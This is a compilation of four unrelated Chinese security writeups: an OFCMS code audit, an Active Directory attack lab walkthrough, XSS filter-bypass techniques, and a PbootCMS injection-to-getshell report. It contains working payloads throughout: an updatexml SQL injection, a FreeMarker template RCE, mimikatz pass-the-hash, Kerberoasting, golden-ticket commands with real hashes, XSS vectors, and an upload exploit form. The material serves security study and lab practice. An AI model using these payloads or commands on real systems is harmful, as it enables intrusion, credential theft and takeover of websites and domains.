后台地址：<http://localhost:8081/ofcms_admin_war/admin/login.html>
账号，密码 admin / 123456
先大概过一遍功能点
因为前台看不到啥点所以就登录到后台观看
### sql注入
在这里抓包
根据这个 找到 controller层
发现这里接收sql参数 然后update执行 我们打上断点来进行调试
随便输入一个
然后回到idea
可以看到外面输入的值
进入update函数
继续
经过一直调试
最后进入到这里执行 这里采用了预编译但是 是把整个sql语句进行预编译 不是把sql的参数 这样根本起不到效果
并且还进行了回显
用报错语句测试
因为是executeUpdate
所以只能用增删改的sql语句
update of_cms_ad set ad_id=updatexml(1,concat(1,user()),1)
### 任意文件读取
但仅限读取html js css xml文件
这里默认只能读取default里面的文件
因为第一次审计 不太了解框架结构 所以点击页面的时候进行抓包来寻找Controller层
在idea找到这个方法
dir是当前目录 也就是可查看代码的目录 这个是可控的 通过这里可以看出
继续往下跟
pathFile 则是根据传入的dir 获取到绝对路径
跟到这里则可以看到只能返回html xml css js
files则是default目录下的html等文件的绝对路径
然后在通过传的文件名 和 files里面的进行比较 默认是index.html
通过这里读取到源码
最后渲染到页面上
整个操作没有对dir进行限制 然后我们又可控 就能够读取其他目录的文件
#### 测试
### 任意文件写入
还是上面这个Controller
可以发现只获取这几个参数的值
然后在这一行把content的进行了尖括号的替换
没有进行其他的过滤 可以任意写入
#### 测试
### 任意文件上传
看到一个上传
还是根据数据包 找到代码
这里代码很少 一步一步跟进
这里看不出什么 继续跟进
这里通过new MultipartRequest进行上传文件
跟进
继续
这个函数没发现什么
发现这个函数
会判断jsp和jspx后缀
这里可以就可以通过windows的特性 来进行绕过 上传文件名为.jsp.
#### 测试
#### 第二处
这个函数也是和上面一样的 可以进行任意文件上传
这些都可以
### 越权修改密码
先创建一个普通用户
然后登录 修改密码
这里可以看到有一个user_id 修改这个 这里相当于 平常黑盒测试一样 改为1
可以看到admin的密码也变成asd123了
代码分析 根据数据包找到controller
根据日志也可以看到 是根据id来进行修改密码的 没有进行id和用户的绑定
有了修改密码的前提 我们会想到修改资料这些
### 模板注入
在pom.xml发现cms使用freemarker
在后台存在模板的修改
payload：<#assign
value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
参考：<https://blog.csdn.net/Little_jcak/article/details/126420014>
<https://blog.csdn.net/weixin_44522540/article/details/122844068> | 社区文章 |
# 从Github一开源项目ADSEC学习域渗透攻防基础
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
学习的开源项目是：
<https://github.com/cfalta/adsec>
> 有些地方是直接Google 翻译过来的。
>
> 注意：本人域渗透新手，很多问题都不懂，有问题欢迎大哥后台留言啊！！！
## Lab Setup – 域环境搭建
> 学习的过程中，最难的就是环境搭建了。（因为有些坑，别人不一定遇到，么有地方可以问，然后有些问题就离谱。。）
物理机：MacBookPro 2020 Intel i5
虚拟机：Vmware Fusion Windows Server 2019 * 3
域成员用户密码：P[@ssw0rd123](https://github.com/ssw0rd123 "@ssw0rd123")!（00和01）
域机器本地管理员密码：P[@ssw0rd123](https://github.com/ssw0rd123
"@ssw0rd123")!@#（P[@ssw0rd123](https://github.com/ssw0rd123 "@ssw0rd123")!!!）
域控机器管理员密码：P[@ssw0rd123](https://github.com/ssw0rd123 "@ssw0rd123")!!!
密码随便自己设置符合要求就可以，这里列出来只是害怕忘记了。
搭建一个域控，两台域成员机器，然后能ping通就好了。
Configure the following steps on every VM:
* Point the DNS server to the IP of ADSEC-DC
Disable Windows Firewall (run in Powershell with admin rights)
* Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
Disable Windows Defender
* Uninstall-WindowsFeature -Name Windows-Defender
在两台成员机器上用， john P[@ssw0rd](https://github.com/ssw0rd "@ssw0rd")/blee
TekkenIsAwesome! 来认证加入域。
## 攻击机器环境搭建
该环境是假设john这台ADSEC-00 被攻破了，作为入口来进行AD域渗透。因为要通过powershell
脚本来安装攻击的工具，所以需要再分配一张网卡，让这台机器出网。
* neo4j 图数据库安装
<https://neo4j.com/artifact.php?name=neo4j-desktop-1.4.7-setup.exe>
<https://www.oracle.com/java/technologies/javase-jdk11-downloads.html>
* BloodHound
## Exercise 1 – Reconnaissance（域信息搜集）
这里主要是用的PowerView，
<https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1>
首先是导入PowerView模块，
cat -raw ".\PowerView.ps1" | iex
* 域内基础信息和域控信息
比如域名、域控ip、域控的操作系统版本等
* 获取所有域计算机和用户
注意：通常情况下需要过滤，因为真实的域环境中会有大量结果。
Get-DomainComputer
过滤域管:
Get-DomainUser|?{$_.memberof -like "*Domain Admins*"}
Get-DomainUser|?{$_.memberof -like "*Domain Admins*"} | select samaccountname
只显示用户名：
获取所有域计算机，但仅显示名称、DNS 名称和创建日期，并以表格形式显示
Get-DomainComputer | select samaccountname,dnshostname,whencreated | Format-Table
获取自定义用户组
Get-DomainGroup | ? { $_.distinguishedname -notlike "*CN=Users*" -and $_.distinguishedname -notlike "*CN=Builtin*"} | select samaccountname,description
## 第一章问题
(主要就是熟悉PowerView的相关用法，Powershell查询语法)
<https://github.com/PowerShellMafia/PowerSploit/tree/dev/Recon>
* 域中有多少台计算机以及它们在什么操作系统上运行？
* 域中有多少用户对象？编写一个 powershell 查询，以表格形式列出所有用户，仅显示属性 samaccountname、displayname、description 和最后一次密码更改
* 您能识别任何自定义管理组吗？以通用方式更改上面的 powershell 查询，使其仅返回自定义管理组。
Get-DomainGroup | ? { $_.distinguishedname -like "*CN=Manage*" -or $_.distinguishedname -like "*CN=admin*"} | select samaccountname,description
* 谁是您找到的自定义管理员组的成员，他最后一次设置密码是什么时候？
* 想出识别域中服务帐户的简单方法吗？编写一个 powershell 查询，根据您提出的模式列出所有服务帐户。
Get-DomainUser -SPN |select serviceprincipalname,userprincipalname,pwdlastset,lastlogon
## Exercise 2 – NTLM (Pass-the-Hash)【哈希传递攻击】
工具：
* mimikatz
* psexec
获取到管理员的hash，37bef461dec3d4cb748209d3c3185132
然后pth，
sekurlsa::pth /user:Administrator /ntlm:37bef461dec3d4cb748209d3c3185132 /domain:redteamlab.com
问了下龙哥这种情况，
<https://support.accessdata.com/hc/en-us/articles/204150405-Disable-Remote-UAC>
然后需要重启。发现也不成功。。。 而且什么是remoteuac呢？
> 在windows Vista之后引入了一种默认开启的remote UAC，计算机的任何非SID 500本地管理员帐户，
> 用户在远程计算机上没有特权提升能力，并且用户无法执行管理任务。
kb2871997对于本地Administrator(rid为500，操作系统只认rid不认用户名，接下来我们统称RID
500帐户)和本地管理员组的域用户是没有影响的
我人傻bi了，我一直在非域控的机器上pth..
## 第二章问题
* mimikatz 命令“privilege::debug”和“token::elevate”的目的是什么？为什么需要执行它们？第一个是提权，第二个是假冒令牌。用于提升权限至 SYSTEM 权限（默认情况下）或者是发现计算机中的域管理员的令牌。
* 以 Bruce Lee 的身份登录 adsec-01。 使用您在上面学到的知识并帮助 john 从内存中远程提取 Bruce Lees NTLM 哈希。 注意：“lsadump::sam”只转储本地密码数据库。 您需要使用不同的命令从内存中提取数据。
* 在互联网上研究如何最好地减轻传递哈希攻击。描述您认为最好的缓解技术，并解释您选择它们的原因。
1.微软在2014年5月13日发布了针对Pass The Hash的更新补丁kb2871997，标题为”Update to fix the Pass-The-Hash Vulnerability”,而在一周后却把标题改成了”Update to improve credentials protection
and management”。(事实上，这个补丁不仅能够缓解PTH,还能阻止mimikatz 抓取明文密码
2.监控Windows事件日志，发现异常了马上应急处理
3.禁用RID=500的管理员账户
* 是否有可能（并且可行）完全禁用 NTLM？解释你的理由。
不可能，理由从正常使用来说，域认证和一些应用认证都需要NTLM Hash。从其他角度，还不知道。
限制传入域的 NTLM 流量
## Exercise 3 – Kerberos (Roasting)
使用Kerberoasting破解服务账号“taskservice”的密码。
加载使用的powershell 脚本：
cat -raw .\PowerView.ps1 | iex
cat -raw .\Invoke-Rubeus.ps1 | iex
* 获取具有服务主体名称 (SPN) 的所有域用户。
Get-DomainUser -SPN | select samaccountname, description, pwdlastset, serviceprincipalname
使用Rebus来进行统计Kerberos
Invoke-Rubeus -Command "kerberoast /stats"
* 运行 Rubeus 来获取目标用户的 TGS
Invoke-Rubeus -Command "kerberoast /user:taskservice /format:hashcat /outfile:krb5tgs.txt"
$krb5tgs$23$*taskservice$redteamlab.com$HTTP/task.contoso.com*$68EEDDB21370D83E51B255E76E092D96$236B6181FCE72FBDDD1593A6A0354248E2FFDCD8FF1C80FA1CD9CDCC5AF7B021D5650116FB85566BD51E646F6E7EDEC6A2CE72CBD4292919992A5809CE64EA5102D8F3698905D61864F5F3D248B80205EC82090F572F70CA6058FFA9B770EE2FDE5E6BDC17267C45D820DB32DE48BA75A4940948EBAD7F52F8E5E0CA0EFFAE5181692EC805BF9DD8B95F791064C039448DEA4E0D778209C18E9228FD8CACDBE1E38BE2B2510FF931D35B9C69FF459F223B0E97A55D1A9D8B6F33D563293DADAF5F11133CAFE6FEC13B2681148F88633C4E765CE7B37A23954ABC76F7D1203FD7E34C5F3B1F7BBE46C0D8A37BF96A73FFAD3DF7C2949A213FE1D26353FD8190893AE63F526C8E09AA2E7F1EB08CE0640D3420FD603AB14816F1D30100C758AC4028AA571F3F2423533FAAE2A8FA22CC7DC3322A160D0D5C667C6682B151A043615A4E8C008282EFDFE58E190686CF03DB92276968054BCDBBAA89456D3BBC98B8861D02C0FF8EBF211BF38D8632EEF913EC7C3981BDDAC048D1C7B8E77F86AA0AC455F393D4B21AC7F67B7DCEC79617995818955B0F9C19BCB409EFAF0B3644389607DF129199DE2A6D30E4A6B34781B2DE32D99AFEE1FF2935377EA45EE43DBEFCEB9C54C7315274E282F0B0329C0818D94953EDDA8F92E4BBF0A96777E10403F7D6A057E0E8FDFFF22ACE176D820DA6CD66E759D0CB21083F5CE466DEAC56B5A2FD2BF59C56BC0F5FEB8BCC81B4FA57FBB77EAB0A9E4C5EE663E35C6F0C1EEC3C9C87406EC699833C37C469682D9E54B3C76E6A041136D9962C239E2A9768C751456A3C830C5E004C31D93A17386EDF83F46CBA3CCE6C640EF128784044AF5F327D280E47007DA68CF3C10261F1E0B06DD674BA26EC518F1DF3136D5953F3265B964AC454A70BFDF18F89C3FA9EAF7A9C6AFC6C077B7B3282E1A49F7BE75316BE7497C0E387D36BDA129200A1C62F82333A38B2F6C4B0BF15A6EA38D9A8DCC8D0AED8520C864F84CE89253DB0F9BCB23A4C8C1A1880F512687982EB7DCA2CA4CCF38B2EDB9C53FE078AFDA87C2E8BA02D9930C4D7903E8EC97EB79CF8F796DDD4E056008E88B0A7A0A4B5EEC2E30A92E5CD2EF4E2D6F3955D3818D2311FBF31B32042159DF0592D03E478F50F9FE898DBF2C4865B6CE3511229B0F7F4C1ECFFA3B90E343401024FE5C999EB36337812F50C6ED95A69B2B3E951B3EC013D245BA48FB0347A33B930CA48A7516DCB198D7A3E03E9F97D89248ABC597D770EAF6100DEA9BD54CF63F4E87D784EC651403AF7ACEC1C8D1CD1645C526AEEBBE70F8A258DFF38C569462CC4E61E08EA2A26EC6007D0DC200181FBD32AADA9C5C6EF9168F3C85755773EE6C6878ED820722EB3CA57DE786005D5820FAFF8E0F6BA82436C91A2851C5132D6F973B12015A1211E7261A1C6FDAE79E62AB17C2B3110FD027731008D0EEBFB4CC4F9278518
使用john来破解TGS，
.\john.exe ..\krb5tgs.txt --wordlist=..\..\example.dict --rules=passphrase-rule2
## 第三章问题
* 在线研究如何最好地减轻 kerberoasting 攻击。描述您认为最好的缓解技术，并解释您选择它们的原因。增加密码长度，能够提高破解难度，并且定期修改关联的域用户口令。
尽量将域内的服务器系统升级至少至 windows2008 系统，应用 AES256 高难度的加密算法
禁止用户开启`do not require kerberos preauthentication`
* 还有另一个用户帐户容易受到 `AS-REP roasting`的影响。使用上一个练习中类似的命令破解他的密码。 （提示：Get-DomainUser -NoPreauth）
获取到hash
Invoke-Rubeus -Command "asreproast /user:svc.backup /format:hashcat /outfile:krb5tgs2.txt"
使用john 破解密码
.\john.exe C:\Users\john\krb5tgs2.txt --wordlist=..\..\example.dict --rules=passphrase-rule2
--wordlist=..\..\example.dict --rules=passphrase-rule2
* Explain the difference between the two attacks you just executed (TGS vs. ASREP roasting).<https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-AS-REPRoasting>
## Exercise 4 – Kerberos (Delegation) 委派攻击
委派有：
* 约束委派
* 非约束委派
* 基于资源的约束委派
这里将滥用用户“taskservice”的约束委派权限来访问 adsec-01。
* 查找已启用约束委派的用户。
Get-DomainUser -TrustedToAuth
* 查找允许的委派目标。
Get-DomainUser -TrustedToAuth | select -ExpandProperty msds-allowedtodelegateto
因为之前通过 kerberoasting得到了 taskservice 的密码，我们可以生成hash，用
Invoke-Rubeus -Command "hash /password:Amsterdam2015 /domain:redteamlab.com /user:taskservice"
[*] Action: Calculate Password Hash(es)
[*] Input password : Amsterdam2015
[*] Input username : taskservice
[*] Input domain : redteamlab.com
[*] Salt : REDTEAMLAB.COMtaskservice
[*] rc4_hmac : C010AED6AEE4804A3C49FDD0518FCA5D
[*] aes128_cts_hmac_sha1 : D969340CE347859B0B8B44CA43D994EE
[*] aes256_cts_hmac_sha1 : D5946D4144CE2AD1B450BAE60BC892F58326A9A29FC467F0E38D14A4F3AB00EA
[*] des_cbc_md5 : 988F1CC4FB0DC873
Rubeus 允许我们在新的登录会话中启动 powershell。这意味着我们伪造的票据只存在于这次登录会话中，不会干扰用户 john 已经存在的
kerboers 票据。
Invoke-Rubeus -Command "createnetonly /program:C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /show"
* 使用 s4u 去向KDC 请求TGS 模拟域管理员 “Bruce Willis” (bwillis) 然后去攻击ADSEC-01，这里请求三种不同的服务票据，CIFS将用于SMB访问、HOST/RPCSS用于WMI
Invoke-Rubeus -Command "s4u /user:taskservice /aes256:D5946D4144CE2AD1B450BAE60BC892F58326A9A29FC467F0E38D14A4F3AB00EA /impersonateuser:bwillis /msdsspn:cifs/adsec-01.redteamlab.com /ptt"
Invoke-Rubeus -Command "s4u /user:taskservice /aes256:D5946D4144CE2AD1B450BAE60BC892F58326A9A29FC467F0E38D14A4F3AB00EA /impersonateuser:bwillis /msdsspn:host/adsec-01.redteamlab.com /ptt"
Invoke-Rubeus -Command "s4u /user:taskservice /aes256:D5946D4144CE2AD1B450BAE60BC892F58326A9A29FC467F0E38D14A4F3AB00EA /impersonateuser:bwillis /msdsspn:rpcss/adsec-01.redteamlab.com /ptt"
* * *
s4u 是什么？这里复习一下 学习Kerberos 协议时的内容。
S4U分两种，2SELF和2PROXY
* S4U2self 使得服务可以代表用户获得针对服务自身的kerberos服务票据。这使得服务可以获得用户的授权( 可转发 的用户TGS票据)，然后将其用于后期的认证(主要是后期的s4u2proxy)，这是为了在用户以不使用 Kerberos 的方式对服务进行身份验证的情况下使用。这里面很重要的一点是服务代表用户获得针对服务自身的kerberos票据这个过程，服务是不需要用户的凭据的
* s4u2proxy 使得服务1可以使用来自用户的授权( 在S4U2SELF阶段获得)，然后用该TGS(放在AddtionTicket里面)向KDC请求访问服务2的TGS，并且代表用户访问服务2，而且只能访问服务2。
详细的过程可以去看daiker 师傅的文章。
* * *
* klist 查看生成的Kerberos 票据
* 确定创建的票据是否成功
通过SMB：
ls \\adsec-01.redteamlab.com\C$
通过wmi：
Get-WmiObject -Class win32_process -ComputerName adsec-01.redteamlab.com
## 第四章问题
* 上面的练习中，您通过 SMB 和 WMI 获得了对服务器 adsec-01 的读取访问权限。 现在尝试通过这两个协议来获取代码执行全系。 目标是执行以下命令，该命令会将用户 john 添加到本地 admin 组：”net localgroup Administrators john /ADD”`wmic /node:adsec-01 process call create "cmd.exe /c net localgroup Administrators john /add"`
* 实现一种使用 SMB 和 WMI 实现此同样目标的方法。提示：我们已经在 PTH 练习中使用了依赖于 SMB 的远程管理工具，并且 Powershell 包含用于调用 WMI 方法的本机命令。
psexec
* 尝试模拟域管理员用户“Chuck Norris”而不是“Bruce Willis”。它有效吗？解释为什么。
可以攻击ADSEC-DC（域控），而不是ADSEC-01.
## Exercise 5 – ACL-based attacks
工具：
* PowerView
* BloodHoundAD
第一部分介绍使用 Bloodhound 从 Active Directory 收集和分析数据。第二部分演示了对组策略的基于 ACL 的攻击。
Invoke-Bloodhound -CollectionMethod DcOnly -Stealth -PrettyJson -NoSaveCache
* -CollectionMethod DcOnly 表示只从域控制器收集数据。 从 opsec 的角度来看，这是更可取的，因为从流量来看是正常的。
* -Stealth 意味着单线程运行。 速度较慢，但不容易被安全设备发现。
* -PrettyJson 格式化 .json 文件。
* -NoSaveCache 表示不保存缓存文件。 因此，每次运行 Sharphound 时，它都会从头开始。
启动neo4j图数据库，
启动BloodHound，将之前跑出来的json 文件导入。
在Queries中 选择寻找所有域管：
* 将用户“taskservice”标记为已经拿下。找到允许我们使用用户 taskservice 控制域控制器的攻击路径。
然后寻找到域控的最短攻击路径
> 这里显示用户对域控的组策略有写入权限（GenericWrite），通过组策略利用，攻击DC
前面的练习显示用户“taskservice”对“默认域控制器”组策略具有写入权限。我们将使用它来获得域管理员权限。
使用taskserivce用户登录，需要密码，密码我们之前通过Kerberoasting
已经拿到了，Amsterdam2015
因为我把工具放在john 桌面上的，这里是没有权限，因为john 已经是作为打域的口子了，已经被拿下，把工具放在C:\下面就行。
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author contoso\adminuser --Command "cmd.exe" --Arguments '/c net group \"Domain Admins\" john /ADD' --GPOName "Default Domain Controllers Policy" --force
现在已经将 john 用户添加到域管这个用户组了，但是真实环境中，必须等到域管重新更新组策略才会触发。这里直接在域控上手工更新了。
成功将域普通用户提权为域管理员。
然后成功登录域控：
## Exercise 6 – Persistence（权限维持）
* mimikatz 后门
* 白银票据、黄金票据
* and so on
因为我们现在已经有了域管权限（Administrators, Domain Admins, Enterprise Admins 都可以），可以通过
DCSync attack 来进行一个权限维持
这里用的是mimikatz，
lsadump::dcsync /user:krbtgt
拿到域内所有用户的hash。
## 第六章问题
* 使用mimikatz 制作黄金票据（使用Chuck Norris用户），在域控上查看事件id是不是4624，黄金票据登录和正常登录有什么区别。
>
> 正常来说认证访服务的流程是先4768（TGT）-4769（TGS）-4624（logon），但是黄金票据攻击的话只会有4769-4624，因为TGT已经离线生成了
* 再制作一个黄金票据，要求这个用户在AD里不存在，RID为500，/id:500，然后使用这个票据去访问SMB或者远程PowerShell。那个能成功访问到。
在DCsync Attack的时候已经获取到了 krbtgt用户的hash了，现在还需要获得域用户的sid。
whoami /user（在cnorris的cmd）
或者
lsadump::dcsync /user:cnorris
S-1-5-21-2285992356-195623764-2499460835-1106
然后制作黄金票据：
kerberos::golden /domain:redteamlab.com /sid:S-1-5-21-2285992356-195623764-2499460835-1106 /krbtgt:37710395b3dbb0e193a6a79b7831859c /user:cnorris /ticket:golden.kirib
导入伪造的票据，看能不能获取到域控权限。
kerberos::purge
kerberos::ptt golden.kiribi
kerberos::list
成功访问到域控的共享文件夹。
然后登录域控查看事件
问题二：
> 感谢Long716、七友、官哥的一些指点
## 参考资料
<https://stealthbits.com/blog/what-is-dcsync-an-introduction/>
<https://zhuanlan.zhihu.com/p/386873445>
<https://docs.microsoft.com/zh-cn/windows/security/threat-protection/security-policy-settings/network-security-restrict-ntlm-ntlm-authentication-in-this-domain>
<https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Kerberoasting> | 社区文章 |
### 前言
* * *
这篇文章，主要是补充一些其他的。
### “圆括号”
* * *
假设过滤了`()`，怎么进行弹框呢?如果仅仅只考虑这点，可执行payload还满多的。
最简单的，用反引号代替圆括号。
<img src=x onerror=alert`1`>
引入伪协议，以及location，然后进行编码拆分。
`<img src=1 onerror=alert%28%29>`
`<img src=1 onerror=location="javascript:"+"aler"+"t%281%29">`
这里引用[P牛](https://www.leavesongs.com/PENETRATION/use-location-xss-bypass.html)文章的过滤代码，利用这个代码来测试学习。
<?php
header('X-XSS-Protection: 0');
$xss = isset($_GET['xss'])?$_GET['xss']:'';
$xss = str_replace(array("(",")","&","\\","<",">","'","`"), '', $xss);
echo "<img src=\"{$xss}\">";
?>
我还特地过滤了反引号，不然用反引号代替括号直接弹。
来个好玩的例子，这个例子来自`XSS挑战第一期Writeup`的一个payload。
我们既然不能用`()`，很多人第一思路肯定是url编码`()`，url编码为`%28%29`，而上面那个例子，通过赋值变量a等于字符串`"%2"`，巧妙通过+拼接字符串`(1)`。
成功弹窗。
#### Throw
* * *
除了上面拼接编码的操作外，我们不得不提到`thorw`，在文档`“Modern Web Application Firewalls
Fingerprinting and Bypassing XSS
Filters”`中在提到了一个很有趣的话题。那就是在圆括号被过滤的情况下,如何去执行javascript，文中给出的答案是。
<a onmouseover="javascript:window.onerror=alert;throw 1>
`throw`语句用来抛出一个用户自定义的异常，而使用`onerror`来捕获异常，来完成弹窗这个操作。
看个例子：
伪协议执行，`onerror`捕获的异常，成功弹框。
将`top`赋值给`_`，所以后面2个`_`等价于`top`，除了`top`，还可以用`self parent frames content
window`其中一个代替。
弹框。
这里引用了 `IE8/IE9 filter` 的一个技巧(`%00`)。
在IE下会弹出一个错误。
#### location
* * *
这段会介绍，利用`lacation对象`属性相关的利用，先来上张图。
这张图，清晰的展示了，`lacation对象`不同的属性在网页url中的体现。
这里我要介绍的是`location.search`。
查看上面的文档，`location.search`设置或返回当前 URL 的查询部分即问号`?`之后的部分，如果你不太理解，那我们来看个小例子下。
假设我们现在的网页url为`http://localhost/1.html?id=s9mf#Test`。那么在控制台输出`location.search`，返回结果会是怎样呢?
返回结果为`?id=s9mf`，即以`?`之后部分，而`#`之后部分属于`location`对象的`hash属性`所控制，所以不会在控制台显示。
`location.search`可以用`数组键名索引`的方式来访问设置的`?`之后的部分。
利用上述特性，把`(1)`放在url查询部分，定义a变量赋值为`location.search`，再用`location.search`以数组键名索引的方式取回来`(1)`。
成功弹框
利用注释和location.hash，把alert(233)放在#后面，再调用回来。
弹框~
eval执行，IE下报错弹框
duang~
### This
* * *
在介绍this前，我们需要把前面的测试代码修改下，使其在<input>标签内。
<?php
header('X-XSS-Protection: 0');
$xss = isset($_GET['xss'])?$_GET['xss']:'';
$xss = str_replace(array("(",")","&","\\","<",">","'","`"), '', $xss);
echo "<input value=\"$xss\">";
?>
还是和以前的过滤条件。
`this` 总是返回一个对象，简单说，就是返回属性或方法“当前”所在的对象。
`alert`后面跟着的是url编码的`()`，name被赋值，`this.name`返回一个对象，用`onfocus`事件在对象获得焦点时发生。
duang~
this结合函数`<svg onload="a(this);function a()(alert(1))">`。
### 参考
* <https://www.secpulse.com/archives/47696.html>
* <http://www.anquan.us/static/drops/papers-894.html> | 社区文章 |
# 记一次授权测试到顺手挖一个0day
##### 译文声明
本文是翻译文章，文章原作者 酒仙桥6号部队，文章来源：酒仙桥6号部队
原文地址：[https://mp.weixin.qq.com/s?src=11×tamp=1605686610&ver=2713&signature=KOCiwYS-y3PpUcPBeXDeqxG2C0*mTLSdVU9*7p22c6kt4FNevligUt7LywggXCPVCPRnefJGKaaRIIBDU7CyAN4wa8AI62xTuQUhsnZJCaNcthuEMiVGYzjQhlXt0KxC&new=1](https://mp.weixin.qq.com/s?src=11×tamp=1605686610&ver=2713&signature=KOCiwYS-y3PpUcPBeXDeqxG2C0*mTLSdVU9*7p22c6kt4FNevligUt7LywggXCPVCPRnefJGKaaRIIBDU7CyAN4wa8AI62xTuQUhsnZJCaNcthuEMiVGYzjQhlXt0KxC&new=1)
译文仅供参考，具体内容表达以及含义原文为准。
记在一次授权的渗透测试过程中遇到了这样一个项目，开始对前台一顿fuzz，端口一顿扫描也并没有发现什么可利用的漏洞，哪怕挖一个xss也行啊，但是xss也并没有挖掘到，实在不行挖一个信息泄露也好啊，果然让我挖掘到了一个信息泄露，get到了程序的指纹。
Pbootcms是一套开源网站系统，然后百度了下该程序所爆出来的漏洞进行了测试，发现都失败了，猜测应该是程序升级到了较新版本，造成了网上爆出来的漏洞都被修复了。既然没有捷径可走，那还是只有老老实实去官网下载一份源码回来审计测试。
## 源码审计
### 1.数据获取
通过对程序源代码的审查发现该程序封装了自己的数据获取助手函数：get(),post(),request()等，获取流程如下:
用post()函数举例说明：post(‘name’,’vars’)。
可以看到将我们的传入的数据再次传入到了filter函数中：
在filter函数中，会对获取到的数据进行一系列的强过滤，例如我们这里的 vars，就只能传递中文，字母，数字，点，逗号，空格这些字符。（PS:
因为不能传递括号“(,)”，所以sql注入中的函数都没办法使用，也就导致了什么报错注入，盲注啥的都不能使用，只有联合查询这种可以使用）接着函数在最后还经过了处理。
跟进escape_string函数：
对数据还进行了htmlspecialchars，addslashes 双处理。
数据获取流程图所示：
现在我们对该程序的数据获取已经有了初步的了解，主要的数据获取都是通过post(),get(),request()三大助手函数来实现的。
### 2.注入挖掘
在审计的过程中发现程序存在较多的如下所示的代码：
这里我将目光放在了DB类库中封装的where方法上，代码如下：
如果此处传入的$where变量是一个索引数组，那么就会进入红框代码这里，并对值进行拼接。
明确目标之后，我们就可以开始搜索目标了：
一番搜索下来发现，要不数据不可控，要不数据会通过escape_string函数，并有单引号保护，达到过滤效果。
### 3.峰回路转
通过多次对where，select，update等关键字的搜索，但是并没有获取到什么突破性的进展，然后又尝试了对$GET,$POST等原生态数据的搜索：
在appshomecontrollerParserController.php文件中的parserSearchLabel方法中发现了问题：由于该方法代码较长，所以仅截图了关键部分。
可以看到首先遍历了$_POST数组，然后将键当做了$where数组的键。（这是关键），不过这里我们需要验证一下，键值为1，这个1是整型，还是字符串型，因为我们要控制输入的是索引数组。
是int类型，完全符合我们上面的需求。
到这里也就是说这个$where3数组的键，值我们都可以控制了，不过$key：只能是/^[w-.]+$/这些内容。$value:
只能是/^[x{4e00}-x{9fa5}w-.,s]+$/u 这些内容。
接着继续往下看代码：
这里的$page为true，因为默认值是true，并且在中途的重新赋值过程中，我们没办法控制它，所以这里必定会执行getLists方法。
Getlists方法代码如下：代码较长，只截图了关键部分。
成功的将我们传递的$where3数组传递到了where方法里面。
接着执行了一个page方法：
这里设置了一个sql属性，后面会用到。
然后执行了最终的select方法。
其中的buildsql方法就是结合我们之前设置的属性值来进行拼接成完整的sql语句。
这里直接将我们前面通过链式操作where,order,page等方法设置的属性进行了替换拼接，又因为我们前面分析的在where方法中，如果传递进去的是一个索引数组的话，是没有单引号保护的，所以看到这里就差不多明白了我们成功逃逸了单引号的保护。
总体流程图如下所示：
整个流程几乎已经走完了，测试效果如下：
可以看到我们输入的aaaaaa已经成功带入到了sql语句中去执行，需要注意的是 我们输入内容是在小括号()里面的。
结合上面的request助手函数的过滤，我们知道输入的数据只能是指定字符：
常规的报错注入是不能成功的，如：
页面并没有像上面一样报错，而是返回了正常的页面，因为检测到了小括号，直接将我们的数据置为空值了。
### 4.绕过注入
因为我们可控的点在where后面，where后面是可以接子查询的，如图：
所以我们的绕过思路就是通过子查询的方式来进行操作，因为子查询是可以不使用括号的，如：
我们的注入payload并没有被过滤，成功带入到了sql语句中去，但是因为不能使用括号，所以类似substring,
mid等截断函数都不能使用，而且还不能使用=,<,>等一些比较符，怎么获取到准确数据又成了一个问题？
这里的突破目标就放在了对sql语句的变形上，首先就需要了解下sql的执行顺序。
可以看到where的执行是在select之前的，那这怎么利用呢？如下：
可以看到即使是select一个常量，如果后面的where条件不成立，也是不会查询到数据的，我们就可以利用where比select来对比出数据。
因为不能使用=,<,>等比较符，所以我们就需要找一个东西来代替它，并且因为不能使用substr等截取函数，所以就没办法一个一个的对比数据，就必须要找到一个可以让我们一个一个来对比的方式。
找到利用regexp来完美代替，因为regexp后面能接正则表达式，并且.能代表任意字符，*代表任意个数，那不就刚好符合我们的要求么，利用方式如下：
将我们需要查询的字段放在where处，通过where返回的内容来控制select出来的数据。
（注意请使用^限定开头。如：^ad.*）
因为数据不能使用引号，所以我们需要将引号内的数据进行16进制编码，效果是一样的。
控制了select返回的内容，达成的效果如下：
Sql语句中，子查询先执行，并且在整个父类SELECT语句中我们子查询的结果处于where语句中，并且使用了AND连接，也就是说我们子查询的结果，同时也控制着整个sql语句的结果，那么就可以用来准确的判断数据了。
### 5.本地测试payload
正确的页面显示：
错误的页面显示：
我们的真实数据：
将我们的正则payload经过16进制编码然后带入执行，通过页面返回内容就可以判断我们的数据是多少了，最终达到了绕过过滤进行出数据的目的。
最终总体流程图可分三步，如图所示：
测试结果证明我们的注入漏洞成功利用，接下来就是将payload映射到项目网站上去，经过大量的fuzz后成功得到管理员账号密码：
## 后台Getshell
漏洞文件：corefunctionfile.php
后缀白名单来自于handle_upload函数的第三个参数，寻找调用handle_upload函数的地方。
后缀白名单来自于upload函数的第二个参数，搜索upload函数的调用处。
触发文件：appshomecontrollerMemberController.php
继续跟进config方法。
Config方法就是返回对应的配置项，配置项内容通过self::loadconfig()加载。
配置项的一部分来至于md5(config).php文件，只要我们控制了这个文件中的home_upload_ext选项，也就控制了允许上传的后缀白名单了。
修改配置文件的地方。
文件：appsadmincontrollersystemConfigController.php
将$_POST遍历出来的键传递进了$this->moddbconfig方法。
程序会首先将我们修改的配置内容更新到ay_config数据表中去，然后再将数据表中的内容写入到md5(config).php文件中，造成我们可以添加任何类型的后缀文件。
### Getshell利用
登录后台->全局配置->配置参数->立刻提交，使用burp抓包。
在POST数据中添加一个：home_upload_ext=php 字段即可。
成功将其写入到文件。
设置好了允许的上传白名单后，我们就可以通过上传php达到getshell了。
上传文件exp：upload.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>pbootcms文件上传</title>
</head>
<body>
<form action="http://xxxxx/?member/upload" method="post" enctype="multipart/form-data">
<input type="file" name="upload">
<input type="submit" name="mufile">
</form>
</body>
</html>
将exp保存到html文件，修改对应的域名直接上传即可，文件上传证明。
